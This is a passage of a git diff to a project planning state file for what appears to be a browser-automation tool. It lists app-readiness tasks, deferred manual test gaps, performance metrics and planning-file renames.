2026-07-01 | working-tree | | [260701-2md-make-mastodon-t1-ready](./quick/260701-2md-make-mastodon-t1-ready/) | +| 260701-2ku | Implement Claude T1 readiness | 2026-07-01 | working-tree | | [260701-2ku-implement-claude-to-be-t1-ready-using-gs](./quick/260701-2ku-implement-claude-to-be-t1-ready-using-gs/) | +| 260701-2lo | Implement Craigslist to be T1 ready | 2026-07-01 | working-tree | | [260701-2lo-implement-craigslist-to-be-t1-ready](./quick/260701-2lo-implement-craigslist-to-be-t1-ready/) | +| 260701-2lm | Make DoorDash T1-ready | 2026-07-01 | working-tree | | [260701-2lm-make-doordash-t1-ready](./quick/260701-2lm-make-doordash-t1-ready/) | +| 260701-2kj | Implement Amazon T1 readiness | 2026-07-01 | working-tree | | [260701-2kj-implement-amazon-to-be-t1-ready](./quick/260701-2kj-implement-amazon-to-be-t1-ready/) | +| 260701-2lr | Implement MiniMax T1 readiness | 2026-07-01 | working-tree | | [260701-2lr-implement-this-minimax-to-be-t1-ready](./quick/260701-2lr-implement-this-minimax-to-be-t1-ready/) | +| 260701-2mc | Implement Robinhood to be T1 ready | 2026-07-01 | 1dcb49a | | [260701-2mc-implement-robinhood-to-be-t1-ready](./quick/260701-2mc-implement-robinhood-to-be-t1-ready/) | +| 260701-2nu | Make this app Jira T1-ready | 2026-07-01 | working-tree | | [260701-2nu-make-this-app-jira-t1-ready](./quick/260701-2nu-make-this-app-jira-t1-ready/) | +| 260701-2km | Implement Carta to be T1 ready | 2026-07-01 | working-tree | | [260701-2km-implement-carta-to-be-t1-ready](./quick/260701-2km-implement-carta-to-be-t1-ready/) | +| 260701-2m2 | Implement Temporal to be T1 ready | 2026-07-01 | working-tree | | [260701-2m2-implement-this-temporal-to-be-t1-ready](./quick/260701-2m2-implement-this-temporal-to-be-t1-ready/) | +| 260701-2ml | Implement YouTube Music to be T1 ready | 2026-07-01 | 51666789 | | [260701-2ml-implement-youtube-music-to-be-t1-ready](./quick/260701-2ml-implement-youtube-music-to-be-t1-ready/) | +| 260701-e78 | Repair YouTube Music blocked-policy T1 readiness | 2026-07-01 | ce60e8cb | | [260701-e78-implement-youtube-music-to-be-t1-ready](./quick/260701-e78-implement-youtube-music-to-be-t1-ready/) | +| 260701-2no | Make YouTube T1-ready | 2026-07-01 | working-tree | | [260701-2no-make-youtube-t1-ready](./quick/260701-2no-make-youtube-t1-ready/) | +| 260701-j08 | Implement this YouTube to be T1 ready | 2026-07-01 | ce10b54d | | [260701-j08-implement-this-youtube-to-be-t1-ready](./quick/260701-j08-implement-this-youtube-to-be-t1-ready/) | +| 260701-2lz | Make this app OnlyFans T1 ready | 2026-07-01 | working-tree | | [260701-2lz-make-this-app-onlyfans-t1-ready](./quick/260701-2lz-make-this-app-onlyfans-t1-ready/) | +| 260701-2du | Fix CDP keyboard attach degradation that silently drops trusted keystrokes into cross-origin iframes (Stripe CVC) | 2026-07-01 | 293162d9 | | [260701-2du-fix-cdp-keyboard-attach-degradation-that](./quick/260701-2du-fix-cdp-keyboard-attach-degradation-that/) | +| 260701-2lu | Implement Netflix to be T1 ready | 2026-07-01 | working-tree | | [260701-2lu-implement-netflix-to-be-t1-ready](./quick/260701-2lu-implement-netflix-to-be-t1-ready/) | +| 260701-1nd | Make this app Calendly T1-ready | 2026-07-01 | working-tree | | [260701-1nd-make-this-app-calendly-t1-ready](./quick/260701-1nd-make-this-app-calendly-t1-ready/) | +| 260701-1kg | Make this app Walmart T1-ready | 2026-07-01 | working-tree | | [260701-1kg-make-this-app-walmart-t1-ready](./quick/260701-1kg-make-this-app-walmart-t1-ready/) | +| 260701-1kv | Make this app DockerHub T1-ready | 2026-07-01 | working-tree | | [260701-1kv-make-this-app-dockerhub-t1-ready](./quick/260701-1kv-make-this-app-dockerhub-t1-ready/) | +| 260701-1ka | Make this app Figma T1-ready | 2026-07-01 | working-tree | | [260701-1ka-make-this-app-figma-t1-ready](./quick/260701-1ka-make-this-app-figma-t1-ready/) | +| 260701-1kj | Make this app Instacart T1-ready | 2026-07-01 | working-tree | | [260701-1kj-make-this-app-instacart-t1-ready](./quick/260701-1kj-make-this-app-instacart-t1-ready/) | +| 260701-1tu | Make this app ClickHouse T1-ready | 2026-07-01 | working-tree | | [260701-1tu-make-this-app-clickhouse-t1-ready](./quick/260701-1tu-make-this-app-clickhouse-t1-ready/) | +| 260701-1lj | Make this app Slack T1-ready | 2026-07-01 | working-tree | | [260701-1lj-make-this-app-slack-t1-ready](./quick/260701-1lj-make-this-app-slack-t1-ready/) | +| 260630-vog | Make this app Panda Express T1-ready | 2026-07-01 | working-tree | | [260630-vog-make-this-app-pandaexpress-t1-ready](./quick/260630-vog-make-this-app-pandaexpress-t1-ready/) | +| 260630-vnj | Make this app Facebook T1-ready | 2026-07-01 | working-tree | | [260630-vnj-make-this-app-facebook-t1-ready](./quick/260630-vnj-make-this-app-facebook-t1-ready/) | +| 260630-vnw | Make this app New Relic T1-ready | 2026-07-01 | working-tree | | [260630-vnw-make-this-app-newrelic-t1-ready](./quick/260630-vnw-make-this-app-newrelic-t1-ready/) | +| 260630-vop | Make this app Redfin T1-ready | 2026-07-01 | working-tree | | [260630-vop-make-this-app-redfin-t1-ready](./quick/260630-vop-make-this-app-redfin-t1-ready/) | +| 260630-vq5 | Make this app Coinbase T1-ready | 2026-07-01 | working-tree | | [260630-vq5-make-this-app-coinbase-t1-ready](./quick/260630-vq5-make-this-app-coinbase-t1-ready/) | +| 260630-vns | Make this app Booking T1-ready | 2026-07-01 | working-tree | | [260630-vns-make-this-app-booking-t1-ready](./quick/260630-vns-make-this-app-booking-t1-ready/) | +| 260630-vo5 | Make this app CircleCI T1-ready | 2026-07-01 | working-tree | | [260630-vo5-make-this-app-circleci-t1-ready](./quick/260630-vo5-make-this-app-circleci-t1-ready/) | +| 260630-vpd | Make this app GitLab T1-ready | 2026-07-01 | working-tree | | [260630-vpd-make-this-app-gitlab-t1-ready](./quick/260630-vpd-make-this-app-gitlab-t1-ready/) | +| 260630-u7d | Make this app Airbnb T1-ready | 2026-07-01 | working-tree | | [260630-u7d-make-this-app-airbnb-t1-ready](./quick/260630-u7d-make-this-app-airbnb-t1-ready/) | +| 260630-u64 | Make this app Outlook T1-ready | 2026-07-01 | working-tree | | [260630-u64-make-this-app-outlook-t1-ready](./quick/260630-u64-make-this-app-outlook-t1-ready/) | +| 260630-u5z | Make this app Retool T1-ready | 2026-07-01 | working-tree | | [260630-u5z-make-this-app-retool-t1-ready](./quick/260630-u5z-make-this-app-retool-t1-ready/) | +| 260630-u70 | Make this app Excel T1-ready | 2026-07-01 | working-tree | | [260630-u70-make-this-app-excel-t1-ready](./quick/260630-u70-make-this-app-excel-t1-ready/) | +| 260630-u62 | Make this app Costco T1-ready | 2026-07-01 | working-tree | | [260630-u62-make-this-app-costco-t1-ready](./quick/260630-u62-make-this-app-costco-t1-ready/) | +| 260630-u6d | Make this app YNAB T1-ready | 2026-07-01 | working-tree | | [260630-u6d-make-this-app-ynab-t1-ready](./quick/260630-u6d-make-this-app-ynab-t1-ready/) | +| 260630-u7s | Make this app Todoist T1-ready | 2026-07-01 | working-tree | | [260630-u7s-make-this-app-todoist-t1-ready](./quick/260630-u7s-make-this-app-todoist-t1-ready/) | +| 260630-u7q | Make this app Expedia T1-ready | 2026-07-01 | working-tree | | [260630-u7q-make-this-app-expedia-t1-ready](./quick/260630-u7q-make-this-app-expedia-t1-ready/) | +| 260630-u6s | Make this app Webflow T1-ready | 2026-07-01 | working-tree | | [260630-u6s-make-this-app-webflow-t1-ready](./quick/260630-u6s-make-this-app-webflow-t1-ready/) | +| 260630-qjb | Make this app PowerPoint T1-ready | 2026-07-01 | working-tree | | [260630-qjb-make-this-app-powerpoint-t1-ready](./quick/260630-qjb-make-this-app-powerpoint-t1-ready/) | +| 260630-qjb | Make this app Lucid T1-ready | 2026-07-01 | working-tree | | [260630-qjb-make-this-app-lucid-t1-ready](./quick/260630-qjb-make-this-app-lucid-t1-ready/) | +| 260630-qj8 | Make this app Target T1-ready | 2026-07-01 | working-tree | | [260630-qj8-make-this-app-target-t1-ready](./quick/260630-qj8-make-this-app-target-t1-ready/) | +| 260630-qjd | Make Discord app T1-ready | 2026-07-01 | working-tree | | [260630-qjd-make-discord-app-t1-ready](./quick/260630-qjd-make-discord-app-t1-ready/) | +| 260630-qj0 | Make this app Snowflake T1-ready | 2026-07-01 | working-tree | | [260630-qj0-make-this-app-snowflake-t1-ready](./quick/260630-qj0-make-this-app-snowflake-t1-ready/) | +| 260630-ql3 | Make this app ChatGPT T1-ready | 2026-07-01 | working-tree | | [260630-ql3-make-this-app-chatgpt-t1-ready](./quick/260630-ql3-make-this-app-chatgpt-t1-ready/) | +| 260630-qj4 | Make this app Hack2Hire T1-ready | 2026-07-01 | working-tree | | [260630-qj4-make-this-app-hack2hire-t1-ready](./quick/260630-qj4-make-this-app-hack2hire-t1-ready/) | +| 260630-qiu | Make this app CockroachDB T1-ready | 2026-07-01 | working-tree | | [260630-qiu-make-this-app-cockroachdb-t1-ready](./quick/260630-qiu-make-this-app-cockroachdb-t1-ready/) | +| 260630-qjh | Make this app MSWord T1-ready | 2026-06-30 | working-tree | | [260630-qjh-make-this-app-msword-t1-ready](./quick/260630-qjh-make-this-app-msword-t1-ready/) | +| 260630-nh1 | Make this app Chipotle T1-ready | 2026-06-30 | working-tree | | [260630-nh1-make-this-app-chipotle-t1-ready](./quick/260630-nh1-make-this-app-chipotle-t1-ready/) | +| 260630-nhs | Make this app amplitude T1-ready | 2026-06-30 | working-tree | | [260630-nhs-make-this-app-amplitude-t1-ready](./quick/260630-nhs-make-this-app-amplitude-t1-ready/) | +| 260630-nh1 | Make this app dominos T1-ready | 2026-06-30 | working-tree | | [260630-nh1-make-this-app-dominos-t1-ready](./quick/260630-nh1-make-this-app-dominos-t1-ready/) | +| 260630-njd | Make this app WhatsApp T1-ready | 2026-06-30 | working-tree | | [260630-njd-make-this-app-whatsapp-t1-ready](./quick/260630-njd-make-this-app-whatsapp-t1-ready/) | +| 260630-nk0 | Make Medium T1-ready | 2026-06-30 | working-tree | | [260630-nk0-make-medium-t1-ready](./quick/260630-nk0-make-medium-t1-ready/) | +| 260630-njd | Make this app Starbucks T1-ready | 2026-06-30 | working-tree | | [260630-njd-make-this-app-starbucks-t1-ready](./quick/260630-njd-make-this-app-starbucks-t1-ready/) | +| 260630-nh3 | Make this app Bitbucket T1-ready | 2026-06-30 | working-tree | | [260630-nh3-make-this-app-bitbucket-t1-ready](./quick/260630-nh3-make-this-app-bitbucket-t1-ready/) | +| 260630-mh2 | Make this app instagram T1-ready | 2026-06-30 | working-tree | | [260630-mh2-make-this-app-instagram-t1-ready](./quick/260630-mh2-make-this-app-instagram-t1-ready/) | +| 260630-mj0 | Make Pinterest T1-ready | 2026-06-30 | working-tree | | [260630-mj0-make-this-app-pinterest-t1-ready](./quick/260630-mj0-make-this-app-pinterest-t1-ready/) | +| 260630-mga | Make Instagram T1-ready | 2026-06-30 | working-tree | | [260630-mga-make-instagram-t1-ready](./quick/260630-mga-make-instagram-t1-ready/) | +| 260630-mjs | Make MongoDB Atlas T1-ready | 2026-06-30 | working-tree | | [260630-mjs-make-this-app-mongodb-t1-ready](./quick/260630-mjs-make-this-app-mongodb-t1-ready/) | +| 260630-mgp | Make Stack Overflow T1-ready | 2026-06-30 | working-tree | | [260630-mgp-make-stack-overflow-t1-ready](./quick/260630-mgp-make-stack-overflow-t1-ready/) | +| 260630-moa | Make this app Netlify T1-ready | 2026-06-30 | working-tree | | [260630-moa-make-this-app-netlify-t1-ready](./quick/260630-moa-make-this-app-netlify-t1-ready/) | +| 260630-mjd | Make Priceline T1-ready | 2026-06-30 | working-tree | | [260630-mjd-make-this-app-priceline-t1-ready](./quick/260630-mjd-make-this-app-priceline-t1-ready/) | +| 260630-mgf | Make this app Reddit T1-ready | 2026-06-30 | working-tree | | [260630-mgf-make-this-app-reddit-t1-ready](./quick/260630-mgf-make-this-app-reddit-t1-ready/) | +| 260630-mgf | Make Tumblr T1-ready | 2026-06-30 | working-tree | | [260630-mgf-make-this-app-tumblr-t1-ready](./quick/260630-mgf-make-this-app-tumblr-t1-ready/) | +| 260630-m4c | Promote bsky public AppView reads to T1-ready | 2026-06-30 | working-tree | | [260630-m4c-promote-bsky-public-appview-reads-to-t1-](./quick/260630-m4c-promote-bsky-public-appview-reads-to-t1-/) | +| 260630-m1q | Make this app Stripe T1-ready | 2026-06-30 | working-tree | | [260630-m1q-make-this-app-stripe-t1-ready](./quick/260630-m1q-make-this-app-stripe-t1-ready/) | +| 260630-m0u | Make Meticulous same-origin GraphQL reads T1-ready | 2026-06-30 | working-tree | | [260630-m0u-make-this-app-meticulous-t1-ready](./quick/260630-m0u-make-this-app-meticulous-t1-ready/) | +| 260630-m35 | Make this app twilio T1-ready | 2026-06-30 | working-tree | | [260630-m35-make-this-app-twilio-t1-ready](./quick/260630-m35-make-this-app-twilio-t1-ready/) | +| 260630-m1a | Make Cloudflare T1-ready with same-origin dashboard read handlers | 2026-06-30 | working-tree | | [260630-m1a-make-cloudflare-app-t1-ready-by-adding-s](./quick/260630-m1a-make-cloudflare-app-t1-ready-by-adding-s/) | +| 260630-m2u | Promote X public same-origin profile and tweet reads to T1-ready | 2026-06-30 | working-tree | | [260630-m2u-promote-x-public-same-origin-profile-and](./quick/260630-m2u-promote-x-public-same-origin-profile-and/) | +| 260630-m16 | Make Terraform Cloud T1-ready | 2026-06-30 | working-tree | | [260630-m16-make-terraform-cloud-t1-ready](./quick/260630-m16-make-terraform-cloud-t1-ready/) | +| 260630-lhy | Promote Zillow public same-origin search reads to T1-ready | 2026-06-30 | working-tree | | [260630-lhy-promote-another-safe-same-origin-public-](./quick/260630-lhy-promote-another-safe-same-origin-public-/) | +| 260630-l0o | Promote TripAdvisor public same-origin reads to T1-ready | 2026-06-30 | working-tree | | [260630-l0o-promote-another-safe-same-origin-public-](./quick/260630-l0o-promote-another-safe-same-origin-public-/) | +| 260630-kqt | Promote Yelp public same-origin reads to T1-ready | 2026-06-30 | working-tree | | [260630-kqt-promote-one-more-safe-same-origin-public](./quick/260630-kqt-promote-one-more-safe-same-origin-public/) | +| 260630-kg0 | Promote npm public same-origin Spiferack reads to T1-ready | 2026-06-30 | working-tree | | [260630-kg0-promote-npm-public-same-origin-read-hand](./quick/260630-kg0-promote-npm-public-same-origin-read-hand/) | +| 260630-hct | Anonymous aggregate state-level region telemetry (IP-derived at ingest, k≥5 floor, self-hosted DB-IP, graceful "unknown" until dataset present) | 2026-06-30 | e2a1b67a..8edf3525 | | [260630-hct-anon-region-telemetry](./quick/260630-hct-anon-region-telemetry/) | +| 260630-k18 | Promote Hacker News public same-origin HTML reads to T1-ready | 2026-06-30 | working-tree | | [260630-k18-promote-hacker-news-public-same-origin-h](./quick/260630-k18-promote-hacker-news-public-same-origin-h/) | +| 260630-hgl | Promote Wikipedia public same-origin reads to T1-ready | 2026-06-30 | working-tree | | [260630-hgl-promote-wikipedia-public-same-origin-rea](./quick/260630-hgl-promote-wikipedia-public-same-origin-rea/) | +| 260630-ha5 | Promote LeetCode query-only same-origin reads to T1-ready | 2026-06-30 | working-tree | | [260630-ha5-promote-leetcode-query-only-same-origin-](./quick/260630-ha5-promote-leetcode-query-only-same-origin-/) | +| 260630-gry | Promote Shortcut no-param same-origin reads to app-specific T1a handler proof | 2026-06-30 | working-tree | | [260630-gry-promote-next-safe-same-origin-read-recip](./quick/260630-gry-promote-next-safe-same-origin-read-recip/) | +| 260629-ksj | Support i18n internationalization for latest updated showcase content | 2026-06-29 | working-tree | | [260629-ksj-support-i18n-internationalization-for-la](./quick/260629-ksj-support-i18n-internationalization-for-la/) | + +- ~~39-03 cold-start circuit-breaker FLAG (the eval smoke index reached 93.3KB / 96KB after the retail/marketplace sub-batch)~~ **RESOLVED by 39-04** per the orchestrator decision: the smoke byte ceiling was widened 96KB->512KB (the 96KB ceiling was sized for a tiny corpus; 39-04 reached 108.6KB at a flat 570 bytes/descriptor -- legitimate linear corpus growth, NO params-leak/layout regression). The tight <10ms load-time assert (the real cold-start latency concern) is KEPT, and a NEW per-descriptor footprint flatness check (<700 bytes/descriptor -- the real params-leak regression signal) was ADDED. 512KB is well within the SCALE-01 ~1-2MB full-corpus target; the authoritative full-corpus SCALE-01 cold-start gate (size + load-time) remains Phase 43, kept separate. 39-05/06 have ample headroom under 512KB. + +## Deferred Items + +Items acknowledged and carried forward from previous milestone closes (Chrome MV3/manual UAT evidence gaps, not fabricated passes; procedures archived under `.planning/milestones/*/` and `.planning/phases/*/`). None of this debt blocks v0.9.91. + +| Category | Item | Status | Deferred At | +|----------|------|--------|-------------| +| uat_gap | Phase 63 Plans 05-06 (real POSIX ownership/modes, Windows HKCU/WOW64/PE/bootstrap behavior, Chrome discovery, production CLI composition, installed launcher/native execution) | deferred to v0.9.91 milestone end; human_needed | Phase 63 Plan 06 | +| uat_gap | Phase 62 / 62-HUMAN-UAT.md (installed doctor/genuine stream, compatibility layout, keyboard/accessibility/live refresh) | deferred to v0.9.91 milestone end; 3 scenarios | Phase 62 Plan 06 | +| uat_gap | Phase 61 / 61-HUMAN-UAT.md (consent/theme/handoff, authenticated stream, worker eviction, 45-minute endurance, POSIX lifecycle, daemon restart classification) | deferred to v0.9.91 milestone end; 8 scenarios | Phase 61 Plan 08 | +| uat_gap | Phase 60 / 60-HUMAN-UAT.md (authenticated isolation, genuine JSONL provenance, live MCP read, POSIX/Windows tree kill, crash recovery, browser ownership/vault/consent) | deferred to v0.9.91 milestone end; 7 scenarios | Phase 60 Plan 04 | +| uat_gap | Phase 59 / 59-HUMAN-UAT.md (live pair, daemon restart invalidation, Chrome session clearing, accessibility/theme) | deferred to v0.9.91 milestone end; 4 scenarios | Phase 59 Plan 04 | +| uat_gap | Phase 58 / 58-HUMAN-UAT.md + 58-VISUAL-QA.md (live Providers theme/responsive/keyboard/motion and extension-state checks) | deferred to v0.9.91 milestone end; 12 scenarios | Phase 58 Plan 03 | +| uat_gap | v1.2.0 Phase 53 / 53-VISUAL-QA.md (VISUAL-01 live DE/CJK browser visual spot-check) | human_needed | v1.2.0 Phase 53 | +| uat_gap | Phase 27 / 27-HUMAN-UAT.md (live FETCH-05 logged-in-shape UAT-27-01 + contrast + origin-pin) | human_needed; 3 scenarios | v0.9.99 Phase 27 | +| uat_gap | Phase 29 / 29-HUMAN-UAT.md ([ASSUMED] internal-endpoint live capture) | human_needed | v0.9.99 Phase 29 | +| uat_gap | Phase 30 / 30-HUMAN-UAT.md (UAT-30-01 live render/Grant/badge smoke) | human_needed | v0.9.99 Phase 30 | +| uat_gap | Phase 31 / live discovery UAT | human_needed | v0.9.99 Phase 31 | +| uat_gap | Phase 32 / 32-HUMAN-UAT.md (UAT-32-01 live self-healing) | human_needed; partial | v0.9.99 Phase 32 | +| uat_gap | Phase 33 / 33-HUMAN-UAT.md (live media playback fidelity) | human_needed | v0.9.99 Phase 33 | +| uat_gap | Phase 34 / 34-HUMAN-UAT.md (live upload fidelity) | partial: UAT-34-02 pass; UAT-34-01 MCP text-file smoke pass, binary/submit checks still human_needed; UAT-34-03/04 still human_needed | v0.9.99 Phase 34 | +| uat_gap | Phases 01/16/20/25 (v0.10/v0.11/v0.12 live-browser) | human_needed/partial | prior closes | +| i18n_debt | WARNING-02 picker-cookie short-circuits bare-`/` Accept-Language redirect | closed in v1.2.0 Phase 56 (ROUTE-01/02) | v0.9.63, carried 6+ milestones | + +Carry-forward publish/tag gates (pre-existing, user-gated): `npm publish fsb-mcp-server@0.9.0`; `npm publish fsb-mcp-server@0.10.0`; branch + tag pushes for v0.9.62 / v0.9.63 / v0.9.69 / v0.10.0 / v0.11.0 / v0.12.0 / v1.2.0; `clawhub publish "skills/FSB Skill"`; public package publication. None of this blocks v0.9.91. + +v2 deferred (see REQUIREMENTS.md v0.9.91 v2 section): CHAT-FUTURE-01/02 (chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` + per-thread cwd pinning); GEMINI-FUTURE-01 (Gemini CLI adapter after live `--help` capture + JSONL schema pinning); ACP-FUTURE-01 (`@zed-industries/agent-client-protocol` unification once ≥2 non-Claude adapters have shipped); REMOTE-FUTURE-01 (remote/mobile delegation surfaces — v0.9.91 is explicitly localhost-only). + +## Session Continuity + +Last session: 2026-07-22T18:44:34.205Z +Stopped at: Phase 65 automated verification passed; human UAT65-01 through UAT65-03 pending +Resume file: None + +## Next Actions + +Execute 64-10-PLAN.md next. Generalize durable event/controller hydration and safe per-adapter drift diagnostics while preserving the canonical accepted-run provider context established in Plan 09. + +## Performance Metrics + +| Phase | Plan | Duration | Notes | +|-------|------|----------|-------| +| Phase 63 P01 | 58 min | 3 tasks | 13 files | +| Phase 63 P02 | 18 min | 2 tasks | 5 files | +| Phase 63 P03 | 16 min | 3 tasks | 6 files | +| Phase 63 P04 | 27 min | 2 tasks | 10 files | +| Phase 63 P05 | 36 min | 3 tasks | 6 files | +| Phase 63 P06 | 24 min | 2 tasks | 4 files | +| Phase 63 P07 | 14 min | 2 tasks | 4 files | +| Phase 63 P08 | 28 min | 3 tasks | 5 files | +| Phase 63 P09 | 17 min | 2 tasks | 3 files | +| Phase 63 P10 | 25 min | 3 tasks | 7 files | +| Phase 63 P11 | 5h 26m | 3 review tasks | 38 files | +| Phase 63 P12 | 34min | 2 tasks | 1 files | +| Phase 64 P01 | 30 min | 1 task | 9 files | +| Phase 64 P02 | 27 min | 1 task | 7 files | +| Phase 64 P03 | 32 min | 1 task | 3 files | +| Phase 64 P04 | 36 min | 3 tasks | 4 files | +| Phase 64 P05 | 41 min | 1 task | 9 files | +| Phase 64 P06 | 38 min | 2 tasks | 13 files | +| Phase 64 P07 | 48 min | 3 tasks | 2 files | +| Phase 64 P08 | 49 min | 3 tasks | 6 files | +| Phase 64 P09 | 42 min | 3 tasks | 14 files | +| Phase 64 P10 | 31 min | 3 tasks | 9 files | +| Phase 64 P11 | 13 min | 2 tasks | 6 files | +| Phase 64 P12 | 14 min | 2 tasks | 7 files | +| Phase 64 P13 | 30 min | 3 tasks | 9 files | +| Phase 65 P01 | 22 min | 2 tasks | 6 files | +| Phase 65 P02 | 15 min | 2 tasks | 4 files | +| Phase 65 P03 | 20 min | 2 tasks | 6 files | +| Phase 65 P04 | 46 min | 3 tasks | 11 files | +| Phase 65 P05 | 1h 4m | 1 tasks | 32 files | +| Phase 65 P06 | 40 min | 2 tasks | 16 files | +| Phase 65 P07 | 21m | 2 tasks | 8 files | +| Phase 65 P08 | 55m | 2 tasks | 22 files | diff --git a/.planning/phases/57-agent-identity-capture/57-01-PLAN.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-01-PLAN.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-01-PLAN.md diff --git a/.planning/phases/57-agent-identity-capture/57-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-01-SUMMARY.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-01-SUMMARY.md diff --git a/.planning/phases/57-agent-identity-capture/57-02-PLAN.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-02-PLAN.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-02-PLAN.md diff --git a/.planning/phases/57-agent-identity-capture/57-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-02-SUMMARY.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-02-SUMMARY.md diff --git a/.planning/phases/57-agent-identity-capture/57-03-PLAN.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-03-PLAN.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-03-PLAN.md diff --git a/.planning/phases/57-agent-identity-capture/57-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-03-SUMMARY.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-03-SUMMARY.md diff --git a/.planning/phases/57-agent-identity-capture/57-CONTEXT.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-CONTEXT.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-CONTEXT.md diff --git a/.planning/phases/57-agent-identity-capture/57-DISCUSSION-LOG.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-DISCUSSION-LOG.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-DISCUSSION-LOG.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-DISCUSSION-LOG.md diff --git a/.planning/phases/57-agent-identity-capture/57-RESEARCH.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-RESEARCH.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-RESEARCH.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW-FIX.iter2.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.iter2.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW-FIX.iter2.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.iter2.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW-FIX.iter3.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.iter3.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW-FIX.iter3.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.iter3.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW.iter2.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.iter2.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW.iter2.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.iter2.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW.iter3.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.iter3.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW.iter3.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.iter3.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.md diff --git a/.planning/phases/57-agent-identity-capture/57-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-UI-REVIEW.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-UI-REVIEW.md diff --git a/.planning/phases/57-agent-identity-capture/57-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-UI-SPEC.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-UI-SPEC.md diff --git a/.planning/phases/57-agent-identity-capture/57-VALIDATION.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-VALIDATION.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-VALIDATION.md diff --git a/.planning/phases/57-agent-identity-capture/57-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-VERIFICATION.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-VERIFICATION.md diff --git a/.planning/phases/58-providers-panel/58-01-PLAN.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-01-PLAN.md similarity index 100% rename from .planning/phases/58-providers-panel/58-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-01-PLAN.md diff --git a/.planning/phases/58-providers-panel/58-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-01-SUMMARY.md similarity index 100% rename from .planning/phases/58-providers-panel/58-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-01-SUMMARY.md diff --git a/.planning/phases/58-providers-panel/58-02-PLAN.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-02-PLAN.md similarity index 100% rename from .planning/phases/58-providers-panel/58-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-02-PLAN.md diff --git a/.planning/phases/58-providers-panel/58-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-02-SUMMARY.md similarity index 100% rename from 